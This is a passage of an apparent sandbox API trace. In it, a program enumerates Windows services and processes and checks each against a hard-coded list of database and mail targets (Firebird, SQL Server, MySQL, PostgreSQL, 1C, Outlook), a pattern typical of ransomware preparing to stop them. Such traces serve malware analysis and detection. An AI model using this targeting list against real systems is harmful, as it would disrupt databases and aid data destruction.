lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0259.765] CloseHandle (hObject=0x390) returned 1 [0259.765] Sleep (dwMilliseconds=0x1f4) [0260.439] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41c3158 [0260.440] EnumServicesStatusExW (in: hSCManager=0x41c3158, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0260.441] GetLastError () returned 0xea [0260.441] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x11e4) returned 0x4254088 [0260.443] EnumServicesStatusExW (in: hSCManager=0x41c3158, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4254088, cbBufSize=0x11e4, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4254088, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0260.444] CloseServiceHandle (hSCObject=0x41c3158) returned 1 [0260.445] lstrlenW (lpString="Appinfo") returned 7 [0260.445] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0260.445] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0260.445] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0260.445] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0260.445] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0260.445] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0260.445] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0260.445] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0260.445] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0260.446] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0260.446] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0260.446] lstrlenW (lpString="AudioSrv") returned 8 [0260.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0260.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0260.446] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0260.446] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0260.446] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0260.446] lstrlenW (lpString="BFE") returned 3 [0260.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0260.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0260.446] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0260.446] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0260.446] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0260.446] lstrlenW (lpString="CryptSvc") returned 8 [0260.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0260.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0260.447] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0260.447] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0260.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0260.447] lstrlenW (lpString="CscService") returned 10 [0260.447] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0260.447] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0260.447] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0260.447] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0260.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0260.447] lstrlenW (lpString="DcomLaunch") returned 10 [0260.448] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0260.448] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0260.448] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0260.448] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0260.448] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0260.448] lstrlenW (lpString="Dhcp") returned 4 [0260.448] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0260.448] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0260.448] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0260.448] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0260.448] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0260.448] lstrlenW (lpString="Dnscache") returned 8 [0260.448] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0260.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0260.449] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0260.449] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0260.449] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0260.449] lstrlenW (lpString="DPS") returned 3 [0260.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0260.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0260.449] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0260.449] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0260.449] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0260.450] lstrlenW (lpString="eventlog") returned 8 [0260.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0260.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0260.450] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0260.450] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0260.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0260.451] lstrlenW (lpString="EventSystem") returned 11 [0260.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0260.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0260.451] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0260.451] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0260.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0260.451] lstrlenW (lpString="gpsvc") returned 5 [0260.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0260.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0260.451] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0260.451] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0260.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0260.451] lstrlenW (lpString="iphlpsvc") returned 8 [0260.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0260.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0260.452] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0260.452] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0260.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0260.452] lstrlenW (lpString="LanmanServer") returned 12 [0260.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0260.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0260.452] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0260.452] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0260.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0260.453] lstrlenW (lpString="LanmanWorkstation") returned 17 [0260.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0260.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0260.453] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0260.453] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0260.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0260.453] lstrlenW (lpString="lmhosts") returned 7 [0260.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0260.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0260.453] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0260.453] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0260.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0260.453] lstrlenW (lpString="MMCSS") returned 5 [0260.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0260.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0260.454] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0260.454] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0260.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0260.454] lstrlenW (lpString="MpsSvc") returned 6 [0260.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0260.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0260.454] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0260.454] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0260.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0260.455] lstrlenW (lpString="Netman") returned 6 [0260.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0260.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0260.455] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0260.455] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0260.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0260.455] lstrlenW (lpString="netprofm") returned 8 [0260.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0260.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0260.455] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0260.455] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0260.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0260.455] lstrlenW (lpString="NlaSvc") returned 6 [0260.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0260.456] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0260.456] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0260.456] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0260.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0260.456] lstrlenW (lpString="nsi") returned 3 [0260.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0260.456] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0260.456] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0260.456] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0260.457] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0260.457] lstrlenW (lpString="PcaSvc") returned 6 [0260.457] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0260.457] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0260.457] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0260.457] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0260.457] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0260.457] lstrlenW (lpString="PlugPlay") returned 8 [0260.457] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0260.457] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0260.457] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0260.457] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0260.458] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0260.458] lstrlenW (lpString="Power") returned 5 [0260.458] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0260.458] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0260.458] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0260.458] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0260.458] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0260.458] lstrlenW (lpString="ProfSvc") returned 7 [0260.458] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0260.458] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0260.458] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0260.458] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0260.458] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0260.458] lstrlenW (lpString="RpcEptMapper") returned 12 [0260.459] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0260.459] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0260.459] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0260.459] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0260.459] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0260.459] lstrlenW (lpString="RpcSs") returned 5 [0260.459] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0260.459] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0260.459] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0260.459] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0260.459] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0260.459] lstrlenW (lpString="SamSs") returned 5 [0260.459] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0260.460] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0260.460] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0260.460] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0260.460] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0260.460] lstrlenW (lpString="Schedule") returned 8 [0260.460] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0260.460] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0260.460] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0260.460] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0260.460] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0260.460] lstrlenW (lpString="SENS") returned 4 [0260.460] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0260.460] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0260.460] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0260.461] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0260.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0260.461] lstrlenW (lpString="ShellHWDetection") returned 16 [0260.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0260.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0260.461] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0260.461] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0260.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0260.461] lstrlenW (lpString="Spooler") returned 7 [0260.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0260.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0260.461] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0260.462] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0260.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0260.462] lstrlenW (lpString="SysMain") returned 7 [0260.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0260.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0260.462] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0260.462] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0260.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0260.462] lstrlenW (lpString="Themes") returned 6 [0260.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0260.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0260.462] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0260.462] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0260.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0260.463] lstrlenW (lpString="TrkWks") returned 6 [0260.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0260.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0260.463] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0260.463] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0260.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0260.463] lstrlenW (lpString="UxSms") returned 5 [0260.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0260.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0260.463] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0260.463] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0260.464] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0260.464] lstrlenW (lpString="WdiServiceHost") returned 14 [0260.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0260.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0260.464] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0260.464] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0260.464] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0260.464] lstrlenW (lpString="WdiSystemHost") returned 13 [0260.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0260.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0260.464] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0260.464] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0260.464] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0260.465] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0260.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0260.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0260.465] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0260.465] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0260.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0260.465] lstrlenW (lpString="Winmgmt") returned 7 [0260.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0260.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0260.465] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0260.465] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0260.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0260.465] lstrlenW (lpString="WPDBusEnum") returned 10 [0260.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0260.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0260.467] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0260.467] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0260.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0260.467] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x4254088 | out: hHeap=0x880000) returned 1 [0260.468] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x390 [0260.473] Process32FirstW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0260.474] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x53, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0260.475] lstrlenW (lpString="System") returned 6 [0260.475] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0260.475] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0260.475] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0260.475] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0260.475] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0260.475] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0260.476] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0260.476] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0260.477] lstrlenW (lpString="smss.exe") returned 8 [0260.477] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0260.477] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0260.477] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0260.477] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0260.477] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0260.477] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0260.477] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0260.477] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0260.478] lstrlenW (lpString="csrss.exe") returned 9 [0260.479] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0260.479] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0260.479] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0260.479] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0260.479] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0260.479] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0260.479] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0260.479] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0260.480] lstrlenW (lpString="wininit.exe") returned 11 [0260.480] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0260.480] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0260.480] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0260.481] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0260.481] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0260.481] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0260.481] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0260.481] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0260.757] lstrlenW (lpString="csrss.exe") returned 9 [0260.758] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0260.758] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0260.758] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0260.758] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0260.758] lstrcmpiW (lpString1="mysqld-nt.exe", 